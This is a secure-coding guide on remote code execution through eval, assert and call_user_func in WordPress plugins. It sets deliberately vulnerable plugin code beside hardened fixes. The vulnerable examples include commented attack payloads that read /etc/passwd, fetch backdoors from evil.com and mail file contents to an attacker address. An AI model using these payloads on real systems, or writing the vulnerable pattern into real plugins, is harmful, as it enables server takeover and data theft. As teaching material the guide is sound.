Remote code execution (RCE) from user input in eval/assert/call_user_func in WordPress plugins

Critical Risk command-injection
phpwordpressrceevalassertcall_user_funccode-executionplugin

What it is

A critical security vulnerability where user-controlled data is executed by eval/assert or selects callables for call_user_func without validation or an allowlist, enabling attacker-supplied code to run. Attackers can execute arbitrary PHP code on the server, leading to full compromise, data theft, or site defacement.

<?php
/*
Plugin Name: Vulnerable Dynamic Handler
Description: Example of dangerous WordPress plugin practices
Version: 1.0
*/

// VULNERABLE: WordPress plugin with multiple RCE vectors
class VulnerableDynamicPlugin {
    
    public function __construct() {
        add_action('wp_ajax_dynamic_eval', [$this, 'handle_eval']);
        add_action('wp_ajax_nopriv_dynamic_eval', [$this, 'handle_eval']);
        add_action('wp_ajax_call_function', [$this, 'handle_function_call']);
        add_action('wp_ajax_execute_code', [$this, 'handle_code_execution']);
        add_shortcode('dynamic_calc', [$this, 'calculator_shortcode']);
    }
    
    // VULNERABLE: Direct eval() with user input
    public function handle_eval() {
        $expression = $_POST['expression'] ?? '';
        
        if (!empty($expression)) {
            // CRITICAL: Arbitrary code execution
            $result = eval("return $expression;");
            echo json_encode(['result' => $result]);
        }
        
        wp_die();
    }
    
    // VULNERABLE: Dynamic function calling
    public function handle_function_call() {
        $function = $_POST['function'] ?? '';
        $args = $_POST['args'] ?? [];
        
        // DANGEROUS: User controls function name
        if (function_exists($function)) {
            $result = call_user_func_array($function, $args);
            echo json_encode(['result' => $result]);
        }
        
        wp_die();
    }
    
    // VULNERABLE: Assert with user input
    public function handle_code_execution() {
        $code = $_POST['code'] ?? '';
        
        if ($code) {
            // DANGEROUS: Assert can execute code
            assert($code);
            echo 'Code executed';
        }
        
        wp_die();
    }
    
    // VULNERABLE: Shortcode with eval
    public function calculator_shortcode($atts) {
        $atts = shortcode_atts([
            'expression' => '1+1'
        ], $atts);
        
        // DANGEROUS: Eval in shortcode
        $result = eval("return {$atts['expression']};");
        
        return "Result: $result";
    }
    
    // VULNERABLE: Admin functionality with eval
    public function admin_code_executor() {
        if (current_user_can('administrator')) {
            $code = $_POST['admin_code'] ?? '';
            
            if ($code) {
                // STILL DANGEROUS: Even with admin check
                eval($code);
                echo 'Admin code executed';
            }
        }
    }
    
    // VULNERABLE: Variable function execution
    public function dynamic_method_call() {
        $method = $_GET['method'] ?? '';
        $class = $_GET['class'] ?? '';
        
        // DANGEROUS: User controls class and method
        if (class_exists($class) && method_exists($class, $method)) {
            $instance = new $class();
            $instance->$method();
        }
    }
}

new VulnerableDynamicPlugin();

// Attack examples:
// POST /wp-admin/admin-ajax.php?action=dynamic_eval
//      expression=file_get_contents('/etc/passwd')
// 
// POST /wp-admin/admin-ajax.php?action=call_function
//      function=system&args[]=wget evil.com/backdoor.php
//
// POST /wp-admin/admin-ajax.php?action=execute_code
//      code=mail('hacker@evil.com', 'Hacked', file_get_contents('/etc/passwd'))
//
// Shortcode attack:
// [dynamic_calc expression="phpinfo(); exit;"]
//
// GET /?method=__destruct&class=SomeVulnerableClass
<?php
/*
Plugin Name: Secure Dynamic Handler
Description: Example of secure WordPress plugin practices
Version: 2.0
Author: Security Team
*/

// Prevent direct access
if (!defined('ABSPATH')) {
    exit;
}

// SECURE: WordPress plugin with proper security measures
class SecureDynamicPlugin {
    private const PLUGIN_SLUG = 'secure-dynamic';
    private const VERSION = '2.0.0';
    private const REQUIRED_CAPABILITY = 'manage_options';
    
    // Allowed mathematical operations
    private const ALLOWED_OPERATIONS = ['+', '-', '*', '/', '%', '**'];
    private const MAX_NUMBER = 999999;
    
    // Allowed data operations
    private const ALLOWED_DATA_OPERATIONS = [
        'get_user_count',
        'get_post_count', 
        'get_plugin_status',
        'validate_settings'
    ];
    
    public function __construct() {
        add_action('init', [$this, 'init']);
        add_action('wp_ajax_secure_calculate', [$this, 'handle_calculation']);
        add_action('wp_ajax_secure_data_op', [$this, 'handle_data_operation']);
        add_shortcode('secure_calc', [$this, 'calculator_shortcode']);
        add_action('admin_menu', [$this, 'add_admin_menu']);
        
        // Security hooks
        register_activation_hook(__FILE__, [$this, 'activation_check']);
        add_action('wp_loaded', [$this, 'security_init']);
    }
    
    public function init(): void {
        // Load translations
        load_plugin_textdomain(self::PLUGIN_SLUG, false, 
            dirname(plugin_basename(__FILE__)) . '/languages/');
        
        // Enqueue admin scripts securely
        add_action('admin_enqueue_scripts', [$this, 'enqueue_admin_scripts']);
    }
    
    public function security_init(): void {
        // Security headers
        if (is_admin()) {
            add_action('admin_head', [$this, 'add_security_headers']);
        }
    }
    
    public function activation_check(): void {
        // Check WordPress version
        if (version_compare(get_bloginfo('version'), '5.0', '<')) {
            deactivate_plugins(plugin_basename(__FILE__));
            wp_die(__('This plugin requires WordPress 5.0 or higher.', self::PLUGIN_SLUG));
        }
        
        // Check PHP version
        if (version_compare(PHP_VERSION, '7.4', '<')) {
            deactivate_plugins(plugin_basename(__FILE__));
            wp_die(__('This plugin requires PHP 7.4 or higher.', self::PLUGIN_SLUG));
        }
    }
    
    // SECURE: Safe calculation without eval()
    public function handle_calculation(): void {
        try {
            // Security checks
            $this->verify_ajax_security('secure_calc_nonce');
            
            // Rate limiting
            if (!$this->check_rate_limit('calculation')) {
                wp_send_json_error(__('Too many requests. Please wait.', self::PLUGIN_SLUG));
            }
            
            // Get and validate inputs
            $num1 = $this->validate_number($_POST['num1'] ?? '');
            $operator = $this->validate_operator($_POST['operator'] ?? '');
            $num2 = $this->validate_number($_POST['num2'] ?? '');
            
            // Perform safe calculation
            $result = $this->calculate_safely($num1, $operator, $num2);
            
            wp_send_json_success([
                'result' => $result,
                'expression' => "$num1 $operator $num2 = $result"
            ]);
            
        } catch (Exception $e) {
            error_log(sprintf(
                'Secure Plugin calculation error: %s', 
                $e->getMessage()
            ));
            
            wp_send_json_error(__('Calculation failed.', self::PLUGIN_SLUG));
        }
    }
    
    // SECURE: Allowlisted data operations
    public function handle_data_operation(): void {
        try {
            // Security checks
            $this->verify_ajax_security('secure_data_nonce');
            
            if (!current_user_can(self::REQUIRED_CAPABILITY)) {
                wp_send_json_error(__('Insufficient permissions.', self::PLUGIN_SLUG));
            }
            
            $operation = sanitize_key($_POST['operation'] ?? '');
            
            if (!in_array($operation, self::ALLOWED_DATA_OPERATIONS, true)) {
                wp_send_json_error(__('Operation not allowed.', self::PLUGIN_SLUG));
            }
            
            $result = $this->execute_data_operation($operation);
            
            wp_send_json_success($result);
            
        } catch (Exception $e) {
            error_log(sprintf(
                'Secure Plugin data operation error: %s', 
                $e->getMessage()
            ));
            
            wp_send_json_error(__('Operation failed.', self::PLUGIN_SLUG));
        }
    }
    
    // SECURE: Shortcode with validation
    public function calculator_shortcode($atts): string {
        $atts = shortcode_atts([
            'num1' => '0',
            'operator' => '+',
            'num2' => '0'
        ], $atts, 'secure_calc');
        
        try {
            $num1 = $this->validate_number($atts['num1']);
            $operator = $this->validate_operator($atts['operator']);
            $num2 = $this->validate_number($atts['num2']);
            
            $result = $this->calculate_safely($num1, $operator, $num2);
            
            return sprintf(
                '<span class="secure-calc-result">%s %s %s = %s</span>',
                esc_html($num1),
                esc_html($operator),
                esc_html($num2),
                esc_html($result)
            );
            
        } catch (Exception $e) {
            return '<span class="secure-calc-error">' . 
                   esc_html__('Invalid calculation parameters.', self::PLUGIN_SLUG) . 
                   '</span>';
        }
    }
    
    private function verify_ajax_security(string $nonce_action): void {
        // Verify nonce
        if (!wp_verify_nonce($_POST['nonce'] ?? '', $nonce_action)) {
            wp_send_json_error(__('Security check failed.', self::PLUGIN_SLUG));
        }
        
        // Check referer
        if (!wp_get_referer()) {
            wp_send_json_error(__('Invalid request source.', self::PLUGIN_SLUG));
        }
    }
    
    private function validate_number(string $input): float {
        if (!is_numeric($input)) {
            throw new InvalidArgumentException('Invalid number format');
        }
        
        $number = floatval($input);
        
        if (abs($number) > self::MAX_NUMBER) {
            throw new InvalidArgumentException('Number exceeds maximum allowed value');
        }
        
        if (!is_finite($number)) {
            throw new InvalidArgumentException('Number must be finite');
        }
        
        return $number;
    }
    
    private function validate_operator(string $operator): string {
        if (!in_array($operator, self::ALLOWED_OPERATIONS, true)) {
            throw new InvalidArgumentException('Invalid operator');
        }
        
        return $operator;
    }
    
    private function calculate_safely(float $num1, string $operator, float $num2): float {
        switch ($operator) {
            case '+':
                return $num1 + $num2;
            case '-':
                return $num1 - $num2;
            case '*':
                return $num1 * $num2;
            case '/':
                if ($num2 == 0) {
                    throw new InvalidArgumentException('Division by zero');
                }
                return $num1 / $num2;
            case '%':
                if ($num2 == 0) {
                    throw new InvalidArgumentException('Modulo by zero');
                }
                return fmod($num1, $num2);
            case '**':
                if ($num2 > 10) {
                    throw new InvalidArgumentException('Exponent too large');
                }
                return pow($num1, $num2);
            default:
                throw new InvalidArgumentException('Unknown operator');
        }
    }
    
    private function execute_data_operation(string $operation): array {
        switch ($operation) {
            case 'get_user_count':
                return ['count' => count_users()['total_users']];
                
            case 'get_post_count':
                return ['count' => wp_count_posts()->publish];
                
            case 'get_plugin_status':
                return [
                    'active' => is_plugin_active(plugin_basename(__FILE__)),
                    'version' => self::VERSION
                ];
                
            case 'validate_settings':
                $settings = get_option(self::PLUGIN_SLUG . '_settings', []);
                return ['valid' => $this->validate_plugin_settings($settings)];
                
            default:
                throw new InvalidArgumentException('Unknown operation');
        }
    }
    
    private function validate_plugin_settings(array $settings): bool {
        // Implement settings validation logic
        return true;
    }
    
    private function check_rate_limit(string $action): bool {
        $user_id = get_current_user_id() ?: $_SERVER['REMOTE_ADDR'];
        $transient_key = self::PLUGIN_SLUG . '_rate_' . $action . '_' . md5($user_id);
        
        $count = get_transient($transient_key) ?: 0;
        
        if ($count >= 20) { // 20 requests per minute
            return false;
        }
        
        set_transient($transient_key, $count + 1, 60);
        return true;
    }
    
    public function add_security_headers(): void {
        echo '<meta http-equiv="X-Content-Type-Options" content="nosniff">' . "\n";
        echo '<meta http-equiv="X-Frame-Options" content="DENY">' . "\n";
    }
    
    public function enqueue_admin_scripts($hook): void {
        if (strpos($hook, self::PLUGIN_SLUG) === false) {
            return;
        }
        
        wp_enqueue_script(
            self::PLUGIN_SLUG . '-admin',
            plugins_url('assets/admin.js', __FILE__),
            ['jquery'],
            self::VERSION,
            true
        );
        
        // Pass nonces to JavaScript
        wp_localize_script(self::PLUGIN_SLUG . '-admin', 'securePlugin', [
            'calcNonce' => wp_create_nonce('secure_calc_nonce'),
            'dataNonce' => wp_create_nonce('secure_data_nonce'),
            'ajaxUrl' => admin_url('admin-ajax.php')
        ]);
    }
    
    public function add_admin_menu(): void {
        add_options_page(
            __('Secure Dynamic Plugin', self::PLUGIN_SLUG),
            __('Secure Plugin', self::PLUGIN_SLUG),
            self::REQUIRED_CAPABILITY,
            self::PLUGIN_SLUG,
            [$this, 'admin_page']
        );
    }
    
    public function admin_page(): void {
        if (!current_user_can(self::REQUIRED_CAPABILITY)) {
            wp_die(__('Insufficient permissions.', self::PLUGIN_SLUG));
        }
        
        include plugin_dir_path(__FILE__) . 'templates/admin-page.php';
    }
}

// Initialize the plugin
new SecureDynamicPlugin();

💡 Why This Fix Works

The vulnerable plugin uses eval(), assert(), and call_user_func() with user input, allowing arbitrary code execution. The secure version eliminates all dynamic code execution, implements strict input validation, uses WordPress security APIs properly, and follows WordPress coding standards with comprehensive security measures.

Why it happens

WordPress plugins using eval() or assert() with user-controlled data from $_GET, $_POST, or WordPress APIs. This allows attackers to execute arbitrary PHP code directly on the server through plugin vulnerabilities.

Root causes

User Input in eval() Functions

WordPress plugins using eval() or assert() with user-controlled data from $_GET, $_POST, or WordPress APIs. This allows attackers to execute arbitrary PHP code directly on the server through plugin vulnerabilities.

Preview example – PHP
<?php
// VULNERABLE: WordPress plugin with eval()
class VulnerablePlugin {
    public function handle_ajax_request() {
        // DANGEROUS: User input directly in eval()
        $code = $_POST['code'] ?? '';
        
        if (!empty($code)) {
            // CRITICAL VULNERABILITY: Arbitrary code execution
            eval($code);
        }
        
        wp_die();
    }
    
    // VULNERABLE: Math expression evaluator
    public function calculate_expression() {
        $expression = sanitize_text_field($_GET['expr']);
        
        // DANGEROUS: Even "sanitized" input in eval is unsafe
        $result = eval("return $expression;");
        
        echo json_encode(['result' => $result]);
    }
}

// Attack examples:
// POST code=file_get_contents('/etc/passwd')
// POST code=system('wget evil.com/backdoor.php')
// GET ?expr=phpinfo(); exit;

Dynamic Function Calls with User Input

Using call_user_func(), call_user_func_array(), or variable functions with user-controlled input. WordPress plugins often use these for dynamic functionality, but without proper validation, attackers can call dangerous functions.

Preview example – PHP
<?php
// VULNERABLE: WordPress plugin with dynamic function calls
class DynamicHandler {
    public function process_action() {
        $action = $_POST['action'] ?? '';
        $args = $_POST['args'] ?? [];
        
        // DANGEROUS: User controls function name
        if (function_exists($action)) {
            call_user_func($action, $args);
        }
    }
    
    // VULNERABLE: Method dispatcher
    public function dispatch_method() {
        $method = $_GET['method'] ?? '';
        $params = $_GET['params'] ?? [];
        
        // DANGEROUS: User controls method and class
        if (method_exists($this, $method)) {
            call_user_func_array([$this, $method], $params);
        }
    }
    
    // VULNERABLE: Variable function execution
    public function execute_function() {
        $func_name = $_POST['function'] ?? '';
        $data = $_POST['data'] ?? '';
        
        // DANGEROUS: Variable function with user input
        if (is_callable($func_name)) {
            $func_name($data);
        }
    }
}

// Attack examples:
// POST action=system&args=cat /etc/passwd
// POST function=exec&data=wget evil.com/malware.sh
// GET method=__destruct (if dangerous destructor exists)

Fixes

1

Eliminate eval() and Use Safe Alternatives

Remove eval() and assert() completely from WordPress plugins. Use explicit logic, allowlisted operations, and safe parsing libraries for dynamic functionality. Implement proper WordPress security practices.

View implementation – PHP
<?php
// SECURE: WordPress plugin without eval()
class SecureCalculatorPlugin {
    private const ALLOWED_OPERATIONS = ['+', '-', '*', '/', '%'];
    private const MAX_NUMBER = 999999;
    
    public function __construct() {
        add_action('wp_ajax_calculate', [$this, 'handle_calculation']);
        add_action('wp_ajax_nopriv_calculate', [$this, 'handle_calculation']);
    }
    
    public function handle_calculation() {
        // Verify nonce for CSRF protection
        if (!wp_verify_nonce($_POST['nonce'], 'calculator_nonce')) {
            wp_die('Security check failed');
        }
        
        try {
            $result = $this->safe_calculate(
                $_POST['number1'] ?? '', 
                $_POST['operation'] ?? '', 
                $_POST['number2'] ?? ''
            );
            
            wp_send_json_success(['result' => $result]);
            
        } catch (Exception $e) {
            wp_send_json_error($e->getMessage());
        }
    }
    
    // SECURE: Safe calculation without eval()
    private function safe_calculate(string $num1, string $op, string $num2): float {
        // Validate inputs
        $number1 = $this->validate_number($num1);
        $number2 = $this->validate_number($num2);
        $operation = $this->validate_operation($op);
        
        // Perform calculation with explicit logic
        switch ($operation) {
            case '+':
                return $number1 + $number2;
            case '-':
                return $number1 - $number2;
            case '*':
                return $number1 * $number2;
            case '/':
                if ($number2 == 0) {
                    throw new Exception('Division by zero');
                }
                return $number1 / $number2;
            case '%':
                if ($number2 == 0) {
                    throw new Exception('Modulo by zero');
                }
                return $number1 % $number2;
            default:
                throw new Exception('Invalid operation');
        }
    }
    
    private function validate_number(string $input): float {
        if (!is_numeric($input)) {
            throw new Exception('Invalid number format');
        }
        
        $number = floatval($input);
        
        if (abs($number) > self::MAX_NUMBER) {
            throw new Exception('Number too large');
        }
        
        return $number;
    }
    
    private function validate_operation(string $op): string {
        if (!in_array($op, self::ALLOWED_OPERATIONS, true)) {
            throw new Exception('Operation not allowed');
        }
        
        return $op;
    }
}
2

Implement Strict Function Allowlisting

Replace dynamic function calls with strict allowlists of permitted functions and methods. Use WordPress hooks and filters properly, and validate all user input against predefined safe operations.

View implementation – PHP
<?php
// SECURE: WordPress plugin with function allowlisting
class SecureActionHandler {
    // Strict allowlist of safe methods
    private const ALLOWED_METHODS = [
        'get_user_data',
        'update_user_preference', 
        'get_post_summary',
        'validate_content'
    ];
    
    // Allowlisted WordPress functions
    private const ALLOWED_WP_FUNCTIONS = [
        'wp_get_current_user',
        'get_post_meta',
        'get_user_meta',
        'sanitize_text_field'
    ];
    
    public function __construct() {
        add_action('wp_ajax_secure_action', [$this, 'handle_secure_action']);
        add_action('wp_ajax_nopriv_secure_action', [$this, 'handle_secure_action']);
    }
    
    public function handle_secure_action() {
        // Verify capabilities
        if (!current_user_can('read')) {
            wp_die('Insufficient permissions');
        }
        
        // Verify nonce
        if (!wp_verify_nonce($_POST['nonce'], 'secure_action_nonce')) {
            wp_die('Security check failed');
        }
        
        try {
            $method = sanitize_text_field($_POST['method'] ?? '');
            $args = $this->sanitize_arguments($_POST['args'] ?? []);
            
            $result = $this->execute_safe_method($method, $args);
            wp_send_json_success($result);
            
        } catch (Exception $e) {
            error_log('Secure action error: ' . $e->getMessage());
            wp_send_json_error('Action failed');
        }
    }
    
    // SECURE: Only execute allowlisted methods
    private function execute_safe_method(string $method, array $args): array {
        if (!in_array($method, self::ALLOWED_METHODS, true)) {
            throw new Exception('Method not allowed');
        }
        
        // Dispatch to specific method implementations
        switch ($method) {
            case 'get_user_data':
                return $this->get_user_data($args);
            case 'update_user_preference':
                return $this->update_user_preference($args);
            case 'get_post_summary':
                return $this->get_post_summary($args);
            case 'validate_content':
                return $this->validate_content($args);
            default:
                throw new Exception('Method not implemented');
        }
    }
    
    private function sanitize_arguments(array $args): array {
        $sanitized = [];
        
        foreach ($args as $key => $value) {
            $clean_key = sanitize_key($key);
            
            if (is_string($value)) {
                $sanitized[$clean_key] = sanitize_text_field($value);
            } elseif (is_numeric($value)) {
                $sanitized[$clean_key] = intval($value);
            } elseif (is_array($value)) {
                $sanitized[$clean_key] = $this->sanitize_arguments($value);
            }
            // Skip other types for security
        }
        
        return $sanitized;
    }
    
    // Safe method implementations
    private function get_user_data(array $args): array {
        $user_id = intval($args['user_id'] ?? 0);
        
        if ($user_id <= 0) {
            throw new Exception('Invalid user ID');
        }
        
        $user = get_user_by('id', $user_id);
        if (!$user) {
            throw new Exception('User not found');
        }
        
        return [
            'id' => $user->ID,
            'login' => $user->user_login,
            'email' => $user->user_email,
            'display_name' => $user->display_name
        ];
    }
    
    private function update_user_preference(array $args): array {
        $preference = sanitize_key($args['preference'] ?? '');
        $value = sanitize_text_field($args['value'] ?? '');
        
        // Allowlist of updatable preferences
        $allowed_prefs = ['theme_preference', 'language', 'timezone'];
        
        if (!in_array($preference, $allowed_prefs, true)) {
            throw new Exception('Preference not allowed');
        }
        
        $user_id = get_current_user_id();
        if (!$user_id) {
            throw new Exception('User not logged in');
        }
        
        $success = update_user_meta($user_id, 'preference_' . $preference, $value);
        
        return ['success' => $success !== false];
    }
}
3

Use WordPress Security APIs and Best Practices

Leverage WordPress's built-in security functions, proper data sanitization, capability checks, and nonce verification. Follow WordPress coding standards and security guidelines for plugin development.

View implementation – PHP
<?php
// SECURE: WordPress plugin following security best practices
class SecureWordPressPlugin {
    private string $plugin_name = 'secure-plugin';
    private string $version = '1.0.0';
    
    public function __construct() {
        add_action('init', [$this, 'init']);
        add_action('wp_ajax_secure_operation', [$this, 'handle_ajax']);
        add_action('admin_menu', [$this, 'add_admin_menu']);
        
        // Security hooks
        add_action('wp_loaded', [$this, 'security_checks']);
    }
    
    public function init(): void {
        // Load text domain for internationalization
        load_plugin_textdomain($this->plugin_name, false, 
            dirname(plugin_basename(__FILE__)) . '/languages/');
    }
    
    public function security_checks(): void {
        // Prevent direct access
        if (!defined('ABSPATH')) {
            exit;
        }
        
        // Check WordPress version compatibility
        if (version_compare(get_bloginfo('version'), '5.0', '<')) {
            add_action('admin_notices', [$this, 'version_notice']);
        }
    }
    
    public function handle_ajax(): void {
        // SECURE: Comprehensive security checks
        try {
            // Verify user capabilities
            if (!current_user_can('manage_options')) {
                wp_die(__('Insufficient permissions', $this->plugin_name));
            }
            
            // Verify nonce
            if (!wp_verify_nonce($_POST['nonce'], 'secure_operation_nonce')) {
                wp_die(__('Security check failed', $this->plugin_name));
            }
            
            // Rate limiting check
            if (!$this->check_rate_limit()) {
                wp_die(__('Too many requests', $this->plugin_name));
            }
            
            // Process the secure operation
            $operation = sanitize_key($_POST['operation'] ?? '');
            $data = $this->sanitize_operation_data($_POST['data'] ?? []);
            
            $result = $this->execute_operation($operation, $data);
            
            wp_send_json_success($result);
            
        } catch (Exception $e) {
            error_log(sprintf(
                'Plugin %s error: %s in %s:%d', 
                $this->plugin_name, 
                $e->getMessage(), 
                $e->getFile(), 
                $e->getLine()
            ));
            
            wp_send_json_error(__('Operation failed', $this->plugin_name));
        }
    }
    
    private function sanitize_operation_data(array $data): array {
        $sanitized = [];
        
        // Recursive sanitization with type validation
        foreach ($data as $key => $value) {
            $clean_key = sanitize_key($key);
            
            if (is_string($value)) {
                // Use appropriate sanitization based on expected content
                if (filter_var($value, FILTER_VALIDATE_EMAIL)) {
                    $sanitized[$clean_key] = sanitize_email($value);
                } elseif (filter_var($value, FILTER_VALIDATE_URL)) {
                    $sanitized[$clean_key] = esc_url_raw($value);
                } else {
                    $sanitized[$clean_key] = sanitize_text_field($value);
                }
            } elseif (is_numeric($value)) {
                $sanitized[$clean_key] = intval($value);
            } elseif (is_array($value)) {
                $sanitized[$clean_key] = $this->sanitize_operation_data($value);
            }
            // Skip other types
        }
        
        return $sanitized;
    }
    
    private function execute_operation(string $operation, array $data): array {
        // Allowlisted operations
        $allowed_operations = [
            'get_settings',
            'update_settings',
            'export_data',
            'validate_config'
        ];
        
        if (!in_array($operation, $allowed_operations, true)) {
            throw new Exception('Operation not allowed');
        }
        
        // Dispatch to specific handlers
        $method_name = 'handle_' . $operation;
        if (!method_exists($this, $method_name)) {
            throw new Exception('Operation handler not found');
        }
        
        return $this->$method_name($data);
    }
    
    private function handle_get_settings(array $data): array {
        // SECURE: Use WordPress options API
        $settings = get_option($this->plugin_name . '_settings', []);
        
        // Filter sensitive data before returning
        unset($settings['api_key'], $settings['secret']);
        
        return ['settings' => $settings];
    }
    
    private function handle_update_settings(array $data): array {
        // Validate setting keys and values
        $allowed_settings = ['theme', 'language', 'notifications'];
        $updated_settings = [];
        
        foreach ($data as $key => $value) {
            if (in_array($key, $allowed_settings, true)) {
                $updated_settings[$key] = $this->validate_setting_value($key, $value);
            }
        }
        
        if (empty($updated_settings)) {
            throw new Exception('No valid settings to update');
        }
        
        // SECURE: Use WordPress options API with validation
        $current_settings = get_option($this->plugin_name . '_settings', []);
        $new_settings = array_merge($current_settings, $updated_settings);
        
        $success = update_option($this->plugin_name . '_settings', $new_settings);
        
        return ['success' => $success, 'updated_count' => count($updated_settings)];
    }
    
    private function validate_setting_value(string $key, $value) {
        switch ($key) {
            case 'theme':
                $allowed_themes = ['light', 'dark', 'auto'];
                return in_array($value, $allowed_themes, true) ? $value : 'light';
                
            case 'language':
                // Validate against available WordPress locales
                $available_locales = get_available_languages();
                return in_array($value, $available_locales, true) ? $value : 'en_US';
                
            case 'notifications':
                return filter_var($value, FILTER_VALIDATE_BOOLEAN);
                
            default:
                throw new Exception('Unknown setting key');
        }
    }
    
    private function check_rate_limit(): bool {
        $user_id = get_current_user_id();
        $transient_key = $this->plugin_name . '_rate_limit_' . $user_id;
        
        $current_count = get_transient($transient_key) ?: 0;
        
        if ($current_count >= 10) { // 10 requests per minute
            return false;
        }
        
        set_transient($transient_key, $current_count + 1, 60); // 60 seconds
        return true;
    }
    
    public function add_admin_menu(): void {
        add_options_page(
            __('Secure Plugin Settings', $this->plugin_name),
            __('Secure Plugin', $this->plugin_name),
            'manage_options',
            $this->plugin_name,
            [$this, 'admin_page']
        );
    }
    
    public function admin_page(): void {
        // SECURE: Admin page with proper nonce and capability checks
        if (!current_user_can('manage_options')) {
            wp_die(__('Insufficient permissions', $this->plugin_name));
        }
        
        $nonce = wp_create_nonce('secure_operation_nonce');
        
        echo '<div class="wrap">';
        echo '<h1>' . esc_html(__('Secure Plugin Settings', $this->plugin_name)) . '</h1>';
        echo '<form method="post">';
        wp_nonce_field('secure_operation_nonce');
        // ... rest of form
        echo '</form>';
        echo '</div>';
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies remote code execution (rce) from user input in eval/assert/call_user_func in wordpress plugins and many other security issues in your codebase.